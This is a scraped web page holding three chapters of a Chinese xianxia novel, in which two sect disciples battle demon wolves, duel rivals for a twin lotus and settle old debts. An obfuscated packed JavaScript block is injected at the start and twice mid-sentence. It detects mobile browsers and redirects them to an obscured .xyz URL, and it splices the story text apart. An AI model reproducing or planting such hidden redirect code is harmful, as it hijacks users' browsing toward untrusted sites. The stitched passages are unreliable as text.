;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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吴长老点了点头,顺着话道:“正是。澜忱天资绝世,心性坚韧,且知恩图报,本就是承继归云宗大统的不二人选。”他话锋一转,状似无意地又道:“宗主与其他三位长老仍在闭关,如今宗内事务由你我暂代。只是……宗主此次闭关前特意叮嘱要留意这个叫无名的弟子,你可知为何?” “只因她容貌与云微太过相似?”王长老沉吟道,目光再次落在镜中,依旧觉得有哪里说不出的异样,却又捉摸不定。 “昨日我心中疑虑难消,特意去了石塘镇,用‘回光珏’查看了云微毙命当日的情景。原也不是为了查什么旧案,不过是想确认下,那云微究竟是真的神形俱灭,还是耍了什么假死脱身的伎俩,免得留下后患。” 吴长老捻着颌下长须,眉头微蹙,语气里半是笃定半是疑虑:“如今瞧着,这‘无名’虽眉眼间与云微有几分相似,倒未必是她转世归来。只是这女子来历不明,偏生在宗门大比之际冒出来,还与澜忱那孩子走得这般近,其间蹊跷实在太多。” 王长老摆了摆手,颔首道:“既已亲自查证,那便最好。宗主亦是担心旧事重演,要我等仔细筛查弟子心性。此女既然与澜忱在一处,暂且观之吧。” 吴长老闻言,眼底闪过一丝阴鸷。 他抬袖悄然捏了个法诀,一丝极淡的妖气悄然汇入镜中,朝着云微二人所在的岩穴方位弥漫而去。 他心中冷嗤:观之?夜长梦多,此女绝不能留……哪怕要稍稍冒险,甚至牵连到谢澜忱,也必须在将这个隐患彻底清除。 只要做得干净,谁又能查到是他动的手脚? 浮尘镜中,岩洞内的云微似有所觉,猛地抬头望向上方某处虚无,清冷的眼眸中锐光一闪而逝。 39.夺莲 远处忽然传来隐约狼嚎,其声凄厉。 几乎同时,一旁调息的谢澜忱睁开眼,一把抓住云微的手腕站起身来,“不能再待在此处。这狼嚎声起得突兀,吴长老那老狐狸怕是已按捺不住,要对你动手了。” 云微腕上一热,被他不容分说地拽起,心下凛然:他竟与我所虑一般无二。 谢澜忱的敏锐确非常人可及。方才洞内短暂对峙,虽揭开旧疤,却也显出他绝非仅知怨怼之辈,于危局中判断之准、行动的果决,远胜寻常弟子。 父亲看重他,或许并非全然盲目。 洞外景象已然大变,不知何时竟弥漫起一层薄薄的灰雾,林木影影绰绰,那狼嚎声自雾中深处传来,忽左忽右,竟似形成合围之势,唯有东北方向雾气稍淡,似有路径可循。 “往那边。”谢澜忱抬手指向东北,语气不容置疑,“尽快脱离这片雾区,寻一处开阔地,以免被围堵洞中,束手束脚。” 云微蹙眉,灵觉微动:“此雾来得蹊跷,东北路径看似生路,未必安全,或是诱敌深入之策。” “纵是诱敌,也强过困守绝地,沦为瓮中之鳖吧?”谢澜忱紧握她的手,力道坚定,“跟紧我,若有变故,见机行事。”他话音未落,已率先掠出。 两人迅速掠出岩洞,踏入灰雾之中。 雾气湿冷,沾染衣襟,带着一股若有似无的腥气。 不过前行数十丈,四周灰雾骤然翻涌,一双双幽绿的光芒自雾中亮起,带着嗜血的渴望。 十余头体型壮硕、獠牙外露的妖狼显出身影,将它们团团围住,为首一头巨狼额间竟有一缕诡异的赤红毛发,气息凶戾远超同伴。 赤额妖狼……云微心念电转,这妖狼形貌好生眼熟。 是了,七年前屠杀谢澜忱村落,害他成为孤儿的那种狼妖额间便生有此等赤毛。 她立刻看向谢澜忱,只见少年面色绷得极紧,孤鸿剑铿然出鞘,横于身前,剑光流转,映照着他骤然冷峻的侧脸。 云微心中了然,亦是一沉。 他此举不独为护她,更是要雪七年前狼妖屠村之恨。 积年旧怨,今日终得面对。只是他腰腹伤势未愈,独对这群异常凶悍的妖狼……自己岂能真作壁上观? 她下意识运转灵力,心口那禁灵符箓却立刻隐隐发烫,死死限制着她的修为。 若要强行冲破,并非不能,但必遭反噬,经脉受损,于眼下处境极为不利。 少年似与她心意隐隐相通,竟立刻侧头,厉声道:“不准强行破禁!给我安分待着!”他语气急厉,带着不容置疑的命令,又飞快地低声补充了一句,“这禁灵符箓最多三个时辰便会自行解除,届时你修为自然恢复。现在不必为我犯险,我能应付。” 云微一怔,未料他竟如此敏锐,更如此直接地阻拦。 “七年了,我早已不是当年那个只能眼睁睁看着村庄被屠、亲人惨死、毫无还手之力,需要别人捡回去的孩童了。”谢澜忱冷声道。 他重新直视狼群,左手持孤鸿剑,剑尖微扬,直指那为首的赤额妖狼,将她严实护在身后,姿态决然。 她还是有些担心。 自己是残魂借孤鸿剑而存,与剑心意相通,或许能借此相助? 思及此,云微一步上前,左手轻轻覆上少年紧握剑柄的右手。 霎时间,孤鸿剑清鸣骤起,一道炽烈银光冲霄而起,驱散周遭灰雾,剑锋所指,寒意大盛。 “你……”谢澜忱难以置信地看着手中嗡鸣不止、光华流转的长剑。 云微迅速收回手,面色如常,只淡淡瞥了他一眼,语速极快:“剑是好剑,亦通灵性。握紧它,别辜负了。” 她此言看似在说剑,实则暗示他无需多问,善用此刻剑中之力。 少年何其聪敏,虽心中震撼疑惑交织,但反应极快,立刻明白她是以残魂短暂增强了孤鸿剑的威力,当即不再犹豫,左手掐诀,指尖灵光迸现,低喝一声:“烬火!” 只见一只完全由炽白火焰构成的、鳞甲分明、栩栩如生的火龙骤然凝形于空中,随即猛地冲向狼群最密集之处。 火龙所过之处,空气扭曲,草木瞬间焦枯,前方数头妖狼躲闪不及,被烈焰吞噬,顿时皮毛燃烧,发出凄厉的惨嚎,在地上疯狂翻滚。 趁此间隙,少年纵身跃起,手中孤鸿剑银光大放,剑气暴涨丈余,他凌空一剑横扫,剑光如银河倒泻,呈半月形激荡而出。 剑光落处,残狼哀嚎遍野,血肉横飞,那为首的赤额妖狼虽奋力扑咬,亦被这道剑气当胸斩过,发出一声不甘的悲鸣,重重倒地。 不过瞬息之间,十余头凶悍妖狼尽数伏诛,地面一片狼藉,血腥气弥漫。 谢澜忱飘然落地,脚步却微微一跄,脸色更白了几分,收剑回鞘时,右手下意识捂住腰腹伤处。 他指缝间又有鲜红的血液渗出,显是方才剧烈动作牵动了伤口。 云微立刻上前扶住他臂膀,清冷面容上掠过一丝极淡的忧色:“你的伤……” 少年避开她的目光,只冷声道:“无碍。”他抬眼看了看愈发昏暗的天色,语气转急,“必须尽快找到双生莲。你……”他顿了顿,扭头瞪向她,眼底带着一丝未消的余怒和后怕,“不准再那般乱来!方才那种法子,岂是能随意用的?若损了你根基如何?若我不在旁,你是否也要如此不计后果?” “我自有分寸。”云微回道,“你若重伤不支,于我亦是拖累。” 毕竟他们之间还有同生契绑定。 谢澜忱被她这话一噎,像是被呛到般,瞪她一眼,眼底情绪翻涌,终究还是把更重的呵斥咽了回去,没好气道:“……强词夺理!若不是我们还要寻双生莲,我……” 少年冷哼一声,随即闭上眼,指尖于空中虚点,一缕灵光自他指尖溢出,如丝线般探向四方,旋即指向悬崖方向。 谢澜忱睁开眼,冷冷道:“找到了,距此最近的一株,藏在对面崖壁一处被碎石封住的洞穴内。气息被遮掩得极好,若非‘灵犀引’,难以察觉。” “三年前宗门大比时,你便是用‘灵犀引’来寻物的?”云微问。 谢澜忱挑眉,语气带着几分不解:“是又如何?莫非你从未用过这等‘取巧’之法?” “未曾。”云微答道。 昔日她身为宗门大师姐,需以身作则,于细微处磨砺弟子心志。 胜败固然重要,然过程之中的体悟与成长,更为可贵。 谢澜忱闻言,冷哼了一声,别开脸低声嘟囔了一句:“……就知道你会这么说。总是这般死板,也不嫌累。”语气里却听不出多少真正的讥讽,反而藏着一丝极细微的、连他自己都未曾察觉的心疼与气闷。 他不再多言,右手再次握住云微的手,“走吧。耽误太久,恐生变故。” 两人疾行至崖底河边。 谢澜忱想让她在岸边等候,话到嘴边又立刻改口:“不成,留你一人在此,若再有偷袭更危险。”他右手紧握云微左手,提气纵身,施展轻功,携她一同掠向对面崖壁。 临近时,左手孤鸿剑看准方位,一剑挥出,瞬间破开洞口伪装的碎石,露出一个足可容纳四五人通过的洞口。 洞内漆黑一片,隐隐有阴风从中渗出。 少年忍不住将她的手攥得更紧,低声告诫:“跟紧,别松手。我不保证这洞里除了双生莲,还有没有吴长老准备的别的‘惊喜’。” “嗯。”云微应了一声,断尘剑亦悄然握于手中,全神戒备。 越往深处,光线越暗,渐渐有灰白色的浑浊雾气自地底弥漫升起,如坠云中,视线严重受阻。 少年声音更沉:“小心,此雾诡异,能干扰灵识,遮蔽视线,若遇突袭,极为不利。” 两人小心翼翼前行约一炷香时间,终于抵达洞穴尽头。 这是一处不大的天然石窟,而在他们头顶正上方,一株晶莹剔透、散发着丝丝寒气的双生莲,竟奇迹般地倒悬生长于钟乳石之间,莲瓣微拢,灵光流转。 “在此处。”谢澜忱话音未落,已纵身而起,孤鸿剑尖轻巧地探向那株双生莲的根茎,意图将其斩落。 就在此时,云微骤然察觉身后杀气袭来,凌厉无比。 她尚未出声示警,下一刻,一柄飞剑自洞口飞出,“铛”地一声脆响,与谢澜忱手中的孤鸿剑相撞。 火星四溅,巨大的冲力使得谢澜忱在半空中身形一滞,被迫落回地面。 云微心下一凛,对方绝非寻常弟子,目的明确,就是阻挠他们取莲,甚至可能…… 谢澜忱翻身落地,眸光骤冷,扫向洞口飞剑来处,寒声道:“何人鬼鬼祟祟?滚出来!” 云微同时转身后退,与谢澜忱并肩而立,断尘剑横于身前,凝神戒备,冷声道:“阁下既出手阻拦,何不现身一见?藏头露尾,非君子所为。” 尘埃稍落,现出一男一女两道身影。 那女子伸手接住倒飞而回的佩剑,缓步上前两步,面容逐渐清晰。 竟是宁兮河。 谢澜忱眼神微沉:“宁师姐?你这是何意?莫不是想公然抢夺双生莲?” 宁兮河微微一笑,语气温和:“谢师弟言重了。禁域之内,此物本就可争。” 她目光扫过云微心口的禁灵符箓,微微一愣,继而轻叹一声,看向她道:“无名姑娘,你因这张脸,这些时日受了不少无妄之灾吧?从报名那日赵常胜为难你,我便看在眼里。说实话,我颇为你感到不公,亦有些心疼。你我皆是女子,在这宗门之内,欲争一席之地,本就较男子更为艰难。” 她顿了顿,语气诚恳,“我亦想争这魁首之位,证明女子绝不弱于男。归云宗那位已故的云微师姐曾做到过,我亦心向往之。还请姑娘勿要因我此时争莲而心生怨恨,我并非针对你,只是想赢。” 云微迎上她的目光,神色平静无波:“宁师姐有心了。些许非议,我并未放在心上。” 她又道:“若我未看错,宁师姐修为凝实,剑气内蕴,远胜寻常弟子,并不像根基有损之人。恐怕只因你是女子,宗主便觉你无需过于精进,安守静峰即可。如今你想争,是好事。” 宁兮河闻言,瞳孔骤缩,脸上那温和的笑意渐渐褪去,凝视云微良久,才缓缓道:“……你看得透彻。既如此,更该明白我非争不可。此株双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357451|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生莲,于我至关重要。” “正该如此。”云微颔首,“若因同是女子,我便心生怜悯,相让于你,反是辱没了你的向道之心与手中之剑。” 宁兮河有此向道之心,实属难得。虽传闻她根基有损,但观其气韵步伐,分明是苦修不辍、实力不俗。这一战非恶意相争,而是道途之争,唯有全力以赴,才是对她最大的尊重。云微心中暗忖。 “无需你动手,我一人足矣。”谢澜忱冷声开口。 他虽伤未愈,但气势不减反增,显然被接连的阻拦激出了脾气。 话音未落,少年已身随剑走,直攻宁兮河两人。 剑光交错,他虽以一敌二,竟一时不落下风。 云微凝神观战,看得分明。 少年是在强撑,久战之下,体力与灵力消耗加剧,腰伤必成致命破绽。 她不能再等,即便反噬加剧,亦需尽快出手破局。 想到这里,云微并指如剑,迅速点向自身几处大穴,强行冲击禁制。 一股逆血涌上喉头,她闷哼一声,硬生生将其咽下。 心口那禁灵符箓残留的印记瞬间彻底化为飞灰,消散无踪。 恰在此时,宁兮河与同伴似是察觉到谢澜忱气息瞬间的紊乱,攻势骤然加紧,双剑合击,一左一右。 少年横剑格挡,腰腹处鲜血瞬间氤氲开来,染红了一片衣襟。 就是此刻。 云微眸光一凛,断尘剑高擎,清冷剑光瞬间照亮洞窟,她凌空一挥,两道银白剑气交叉着斩出,逼得宁兮河两人联手格挡这突如其来的袭击。 “你为何要强行破禁?”宁兮河收剑惊道,“一炷香内,你至多只能恢复五成修为……为救他,竟不惜至此?” 谢澜忱亦看向云微,眼底怒火与惊急交织,脱口而出:“你!谁让你又乱来的!” 云微却似未闻,步履稳定地走到谢澜忱身旁,与他并肩而立,目光淡然看向宁兮河:“我非独为他。亦为我自己。魁首之位,我亦想要。” 宁兮河轻笑一声,手腕一翻,竟从袖中召出一对银镯。 那是同尘镯? 云微识得此物,上次变故中,这镯子能锁人行动,限制二人不得远离逾一尺。 银光袭来,谢澜忱欲挥剑斩断,她却更快一步,将两支银镯同时抓入掌中。 不等宁兮河催动法诀,她掌心骤然腾起幽蓝色的灵火,将同尘镯烧得扭曲变形。 云微将废镯丢弃于地,冷声道:“此等旁门左道之物,宁师姐还是少用为妙。” 宁兮河与那弟子对视一眼,当即提剑沉气,剑势再起时比先前更显决绝。 那弟子直扑谢澜忱,宁兮河则提剑朝云微奔来。 云微挥动断尘剑相迎,两人剑来剑往,身影交错,剑气激荡,在昏暗洞窟中划出道道流光。 数十招后,两人剑尖再次狠狠相撞,各自震退一步。 宁兮河气息微喘,眼神却越发锐利。 她忽然剑路一变,不再追求正面强攻,反而变得飘忽难测。 云微依旧从容,步法轻挪,剑招或格或引,将对方攻势一一化解。 就在宁兮河一剑刺空,身形出现微不可察一滞的刹那,云微眼中精光一闪,断尘剑影虚晃一下,直刺她咽喉。 宁兮河急忙回剑格挡护住要害,却不知那竟是虚招。 云微趁其心神被扰、防守重心上移之际,已然闪至其身后,一记手刀打在她颈上。 宁兮河闷哼一声,软软向后倒去,被云微伸手扶住。 云微扶着她,心下微叹。她的剑术已有大家风范,假以时日,必能更进一步,甚至超越昔日的自己。只是心绪仍易被对手扰动,失了绝对的冷静,还需更多磨砺。 另一边,谢澜忱也已寻隙一剑斩断那弟子的佩剑,剑尖直指其咽喉。 那弟子连声求饶:“谢师兄饶命!我们认输!” 少年收剑,回头与她对视一眼,眼神询问她的意见。 “先去取双生莲。”云微道。 谢澜忱点头,再度飞身而起,这次无人干扰,孤鸿剑轻巧一挥,精准斩断莲茎,将那株散发着幽幽寒气的双生莲稳稳接住,落回云微身旁。 见宁兮河仍靠在她怀中,他眉头立刻不悦地蹙起,语气硬邦邦地道:“你还想抱到什么时候?快点放开她。” 云微瞥他一眼,不知他又犯什么别扭。 她抬手,指尖凝聚一丝灵力,轻点在宁兮河眉心。 见对方苏醒过来,云微随即也松开了手。 宁兮河站稳身形,神色复杂地看向云微,苦笑道:“我输得心服口服。你的剑术,远胜于我。” 少年垂手立在一旁,冷声道:“好了。既认输,便快去找别的双生莲吧,时间所剩不多。” 他语气硬邦邦的,透着不耐烦,却又像是突然想起什么,别开脸,看似随意地补了一句:“东南方向约三里外似乎还有一株未被人发现。你们现在赶去或许还来得及。” 谢澜忱目送她们身影消失,刚转过头要对她说什么,却见云微脸色惨白,侧头咳出一口黑血,身形控制不住地微晃了一下。 40.坦白 谢澜忱见她咳血,脸色瞬间煞白,想也未想便将那株好不容易得来的双生莲随手掷于地上,一把扶住她摇摇欲坠的身形,声音里带着他自己都未察觉的惊惶与怒气:“云微!你……你非要这般逞强不可吗?强行破禁的反噬是儿戏吗?” 云微借着他手臂的支撑才勉强站稳,咽下喉间翻涌的腥甜,气息微乱,却仍强自镇定道:“不过……气血翻腾罢了。调息片刻便无碍。” 此番强行冲击禁制,经脉受损绝非轻易可愈,只是眼下情形容不得她示弱。 “无碍?”谢澜忱几乎被她这轻描淡写的态度气得笑出来,手上力道却丝毫未松,反而将她扶得更紧,眸光沉得吓人,“你当我瞎了吗?方才若非你强行出手,我自有办法应对!谁要你多事……”他话音未落,心底却是一片后怕与懊恼,恨自己伤势拖累,竟要她冒险至此。 不等少年说完,云微眼前骤然发黑,单膝不受控制地跪倒在地,一手撑地,剧烈地喘息起来,额间沁出细密冷汗。 谢澜忱脸色难看至极,再也顾不得其他,立刻盘膝坐在她对面,沉声道:“凝神,别抵抗。”说罢,他双手迅速在胸前结出一个幽蓝色的法印,缓缓推向她心口。 云微骤然抬头,他竟要利用同生契的深层联系,强行将大部分反噬引渡到他自身? 此法虽能缓解她眼下危机,却对他自身损耗极大,尤其他腰腹重伤未愈,灵力本就不济…… “不可以,你……”她急声道,手刚抬起欲阻拦,便被少年一把紧紧攥住手腕。 谢澜忱抬起眼,脸色比方才更白了几分,额角渗出细密的冷汗,可那双钴蓝色的眼眸却亮得惊人,执拗地望着她。“现在知道阻止了?”他扯了扯嘴角,笑容有些苍白无力,带着点赌气的意味,“晚了……你总是这样……自作主张,一次又一次……这下,你可是欠我欠得更多了。” 他握着她手腕的力道极大,一字一句,像是要将积压多年的东西尽数倒出:“七年前,你把我从狼妖口里捡回来,给了我希望,却又随手把我丢在外门那吃人的地方,让我受尽欺凌,刻上那屈辱的字眼……这是第一桩。” “后来,你利用我助你化形,逼我与你结下这同生契,将我的生死与你捆绑……这是第二桩。” “现在,你又为我强行破禁,弄得这般模样,逼得我不得不替你承担这反噬……你说,这是不是第三桩?”他盯着她的眼睛,目光沉沉,似怨似怒,又似藏着别的什么,“你告诉我,这笔账,该怎么算?你还要怎么还得清?” 云微怔怔地看着他,一时竟忘了挣脱。 他竟是这样算的。 将那些好的、坏的、恩惠与亏欠,全都搅在一起,变成一笔纠缠不清的糊涂账。 可他此刻引渡反噬的痛苦是真,苍白的脸色是真,眼底那执拗到近乎偏激的情绪也是真。 少年心里到底都在想些什么?他恨她,却又一次次救她;他嘴上说着亏欠,行动却截然相反。 云微想了想,缓缓开口:“当年将你安置在外门,是我思虑不周,我未曾料到其中人心险恶竟至于斯,致使你受苦,此事,是我之过。”她顿了顿,目光落在他胸口曾经刻字的位置,“至于那旧痕……我会为你除去,只要寻得合适灵药……” 谢澜忱闻言怔了怔,攥着她手腕的力道不自觉地松了几分,眼底翻涌的情绪像是被这句话骤然打断,只剩下一种茫然的、不知所措的怔忡。 他像是没料到她会如此直接地承认“过错”,更没料到她会注意到那个疤痕,甚至提出要为他除去。 半晌,少年垂下眼睫,遮挡住眸中复杂情绪,另一只手却缓缓抬起,抓着云微的手,将她的指尖按在了自己胸口。 云微指尖微微一颤。 隔着衣料,她能清晰地感受到其下一道微微凸起的、粗糙的旧痕。 这么多年,他明明早已得父亲看重,灵药剑诀从不短缺,以他的修为……若要彻底消除这道疤痕,并非难事。 他却一直留着……是刻意留下提醒自己不忘昔日屈辱?还是…… “除去?”谢澜忱低声重复了一遍,声音沙哑,“现在才来说这个……师姐不觉得太晚了吗?”他抬起眼,目光灼灼,似有万千情绪涌动,“那些年,我在外门日日被人践踏,身上痛,心里更痛。我总想着,或许明天,或许下一刻,你就会像当年救下我那样出现,哪怕只是来看我一眼,问我一句‘痛不痛’……可你没有,一次都没有。” 他自嘲地笑了笑,又道:“你就不能……就不能多在意我一点吗?哪怕只有对旁人的一半,不,十分之一也好……别再总是推开我,无视我,让我觉得只有我一个人被困在过去的泥沼里,好不好?” 云微听着他这番近乎剖白的话语,垂下眼帘。 当年一个看似稳妥的决定,会在他心中刻下如此深的伤痕,积攒下如此重的怨与盼。 自己过往真的过于专注剑道与宗门事务,而忽视了身边人的感受,尤其是他这个……因她而命运转折的少年。 她感受着指尖下那道疤痕的触感,心中一时五味杂陈。 对了……双生莲。 此莲乃集天地灵气精华所生,确有净化瘴毒、平复旧痕的奇效。 思及此,云微轻轻抽回手,在谢澜忱愕然的目光中重新拾起地上那株依旧莹润剔透的双生莲,小心地掰下一片莲花瓣。 “可能会有些凉。”她低声道,随即指尖凝着一丝灵力,轻轻将那片花瓣按在了少年胸口的衣料之上,对应着那旧痕的位置。 那片莲花瓣触及衣料,便化作一道柔和的白光,悄然渗入,融入皮肤之下。 不到片刻,云微移开手。 “好了。” 谢澜忱身体微微一僵,下意识地抬手抚上胸口,触手一片平滑,那纠缠他多年的痕迹竟真的消失无踪了。 他张了张嘴,似乎想说什么,喉结滚动了几下,眼底情绪翻腾,最终却什么也没说出来。 就在这时,两人周身一阵空间波动,熟悉的老者声音在空中响起:“时辰到!” 眼前景物瞬间模糊扭曲,下一刻,两人已并肩站在了归云宗广场之上,周围不断有灵光闪现,一个又一个弟子被传送出来,有人欣喜若狂,有人垂头丧气。 王长老立于前方高台,目光扫过在场众人,开始宣读晋级名单。 一连串名字念出,其中果然包括她与谢澜忱。 最后,他念道:“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366778|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁兮河,张垣。” 云微听到名字,抬眼望去,正看见宁兮河也被传送出来,虽神色略显疲惫,但眼神清亮坚毅。 宁兮河似有所感,也朝她看来,冲她微微一笑,颔首致意。 宁兮河心性坚韧,剑术不俗,若非当年遭父亲延误,成就绝不会止步于此。云微这般想道。 同为女子,在这重重束缚之下挣扎求存、精进不休,其中心酸艰难,她最能体会。 一旁的吴长老面色阴沉如水,死死盯着云微,心中怒意翻腾:这无名的命竟如此之硬!禁灵符箓偷袭不成,狼妖围攻亦失败,接连布置竟都让她躲过!此女不除,日后必成心腹大患! 王长老宣布完名单,肃然道:“晋级者好生休息,调养恢复,准备后日的末轮‘问心路’。此路考验道心,直指本心执念,凶险异常,尔等务必谨慎对待,万不可心生轻忽。” 众人齐声应诺:“是,长老!” 云微转向身旁的谢澜忱,见他脸色依旧苍白,尤其是腰腹处衣袍上的血迹未干,便道:“你的伤需尽快处理,回去我帮你上药。” 谢澜忱却盯着她,眼神里带着不容错辨的紧张与固执:“那你呢?你去何处?又要独自去寻赵常胜那厮算账?你如今这般状态,岂能再与人动手?”他想起禁域中她咳血的模样,心口便是一窒。 云微迎上他的目光,语气平静:“有些债,迟早要讨。赵常胜用禁灵符箓暗算于我,还累得你重伤至此。此事,不能就此作罢。” 此事我自有分寸,不会逞强。云微心道。 少年眉头紧锁,语气愈发急躁:“分寸?你哪次不是嘴上说有分寸,结果却弄得一身伤回来?” “好了。我的事,我自己解决。你伤势未愈,当以休养为重。” 她知道谢澜忱是在担心她,但自己向来不喜假手他人,尤其是清算旧怨。 “你!”谢澜忱气结,苍白的脸上因怒气泛起一丝薄红,“你我性命相连,同生共契!你若是出事,难道我能独善其身吗?” 这话脱口而出,带着几分赌气的意味,仿佛只是为了同生契才如此紧张。 云微闻言,静静看了他片刻,直看得谢澜忱有些不自在地移开目光,才缓缓道:“我知道你担心同生契。放心,我自有考量,不会连累你。” 解契之法她早从古籍中寻得蛛丝马迹,暗中推演,已大致明晰。 先前秘而不宣,是因复仇大业未成,回归云宗、查清真相、手刃仇敌,处处需少年相助。 她深知他性子偏执难测,若知晓有此退路,难保不会决绝抽身,那她所有的谋划便将付诸东流。 可如今……她知道谢澜忱会毫不犹豫地,愿意与她站在一起。 这条复仇路荆棘遍布,生死难料,她已决意独自走下去,若最终功败垂成,魂飞魄散便是她的归宿,又何必拖着他一同万劫不复? 半晌,她回过神,见他仍气恼地盯着自己,语气不由放缓些许:“你的伤势耽搁不得,先回去疗伤要紧。” 谢澜忱被她这话噎住,胸口起伏了几下,像是被堵得说不出话。他狠狠瞪了她一眼,最终像是败下阵来,咬牙低声道:“……随你!反正我说什么你都不会听……” 41.回击 “三十棍……戒律堂那帮老不死的……还有那该死的无名!还有谢澜忱!若不是他们,我怎会落得如此下场!”赵常胜低声咒骂着。 他挨了三十棍,臀股处皮开肉绽,此刻正踉踉跄跄地推开房门,口中不住嘶嘶抽着冷气。 半晌,他挣扎着抬起头,目光恰好撞上桌案上父母郑重交给他、令他日日跪拜感念的那尊小木像,昔日的归云宗大师姐——云微。 赵常胜一把将那木像抓在手里,许多往事涌上心头。 他越想越恨,猛地转身,将那木像狠狠扔出门外。 可它并未如预想般砸落在地,而是被一只素白纤手稳稳接住。 云微垂眸,看向手中那尊陈旧的小像。 六年前淮水决堤,灾民流离失所,赵常胜父母携他跪于归云宗山门外风雨之中,苦苦哀求。 她途径见此,见其虽衣衫褴褛,眼神却尚有求生之志,一时心生恻隐,便向当值弟子言道:“此子筋骨尚可,予他一试机会罢。” 仅此一言,他便得以入门。 却不想,昔日一点善念,换来的不是感恩,而是她“死后”的屡屡污蔑贬低,禁域中的暗算,甚至累得谢澜忱重伤。 此等恩将仇报之徒,今日她不会轻饶。 思及此,云微抬眼看向屋内惊愕的赵常胜。“看来,戒律堂的三十杖,并未让你学会何为规矩。” 赵常胜乍见门外之人,脱口而出:“云微……”但他立刻摇头,脸色煞白地后退两步,“不!不对!你不是她!她早就死了!你是那个无名!” “我是谁,不重要。”云微声音冰冷,“我今日来,是替你那位死去的云微师姐,你的恩人,问一问你。”她缓步踏入屋内,“问你,为何恩将仇报?” 她心中冷然,世间之人,果然并非皆怀善念。 昔日随手之举,竟种下如此恶果。 若非亲身经历,实难想象人心之阴暗,可扭曲至此。 既如此,今日便由她亲手了却这段孽缘。 “你…你想干什么?我警告你,你若是敢伤我!我这就去禀告长老,让你滚出归云宗!”赵常胜色厉内荏地吼道,紧接着便想冲出去。 见他跌跌撞撞地从她身边跑过,姿态狼狈不堪,她冷眼看着,甚至颇为识趣地微微侧身让开通道。 因为她心知,他根本跑不掉。 果不其然,赵常胜刚冲到门口,便“砰”地一声被一道无形的屏障反弹回来,重重摔坐在地,疼得他龇牙咧嘴。 云微则站在原地,冷眼睨着他徒劳的挣扎。 自己早已在门外布下结界,此地动静,外界无人能察。 既来了,便不会给他任何逃脱或求援的机会。 “屏障?你……你何时设下了屏障……”赵常胜骇然,手脚并用地向后蹭去,试图远离她。 她背着手,一步步逼近,声音冷冽:“云微师姐予你入门之恩,可曾苛待于你?可曾短你衣食?可曾授业有私?你为何在她身故之后,不仅毫无感念,反而屡屡出言污蔑?” 更在禁域之中,以禁灵符箓暗算于我,意欲置我于死地?她在心中暗暗补充道。 闻言赵常胜像是被踩了痛脚,指着她的脸破口大骂:“恩?那算哪门子恩!她若真有心相助,为何当年只让我一人入门?为何不将我爹娘一并收留!就因为她一句轻飘飘的话,我爹娘只能继续留在外面等死!” 他大口喘着粗气,半晌又继续控诉道:“他们病死在破庙里的时候,她云微在哪里?像她这种假仁假义、高高在上的人,我恨不得她早点死!至于你……你和她也一样!装模作样!令人作呕!” 云微静静听着,心中最后一丝波澜也归于沉寂。 原来如此。 将自身不幸全然归咎他人,怨恨施恩者未能倾尽所有,却忘了那本就是别人额外的善意。 她只觉得自己的所作所为特别可笑,当年那一点恻隐之心,此刻看来,竟是如此多余且愚蠢。 这世间,并非所有人都值得伸手。 这教训,她记下了。 云微不再多言,眸光一厉,抬起右手,食指中指并拢,点向赵常胜额心。 她并非不能亲手杀他,但以此等人之血污她断尘剑,她嫌脏。 只见赵常胜浑身一僵,双目骤然圆睁,瞳孔涣散,仿佛看到了什么无比可怕的景象。“啊!别过来!云微师姐!不是我害你的!别杀我!不是我!啊——!” 他凄厉地惨叫起来,连滚带爬地在屋内胡乱冲撞,涕泪横流,状若疯癫,仿佛在躲避什么无形之物,最终猛地一头撞在床柱上,晕死过去。 云微面无表情地看着,薄唇微动,吐出几个字:“咎由自取。” 心结已种,日后即便醒来,也恐难逃梦魇缠身,修行之路大抵是断了。 这般下场,于赵常胜而言,比死更难受。 她握着那尊小木像,转身离去,胸口忽有一阵钝痛漫开。 明明该是漠然以对,偏生那点痛意挥之不去。是为昔日错付的善念惋惜?还是为人心难测而怅然? 她看不清。 云微信步行至僻静小湖,扬手将木像抛入水中。 木像沉入水底,涟漪渐散,仿佛从未存在过。 过往种种,譬如昨日死。 善缘恶果,俱已了断。 从今往后,她的剑只为复仇与问道而出,她的心,亦当如此。 她想将那点杂念一并抛开,可谢澜忱那句带着委屈与急切的话却忽然在耳边响起:“你就不能……就不能多在意我一点吗?哪怕只有对旁人的一半,不,十分之一也好……别再总是推开我,无视我,让我觉得只有我一个人被困在过去的泥沼里,好不好?” 明明是带着控诉的话,却说得小心翼翼,仿佛只要她稍一皱眉,他便会立刻收回所有情绪,再装作满不在乎的模样。 她微微蹙眉,将这丝异样压下,不再深想。 “无名姑娘?”身后传来一声温和的呼唤。 云微回头,只见宁兮河正站在不远处的小径上,略显惊讶地看着自己。 她颔首示意:“宁师姐。” 宁兮河目光温和:“姑娘独自在此,可是有心事?我看姑娘神色似有郁结。前方有处小亭,景致尚可,若姑娘不弃,可否赏光手谈一局?棋能静心,或许可稍解烦忧。” 云微略一沉吟。 下棋?她于弈道可谓一窍不通。 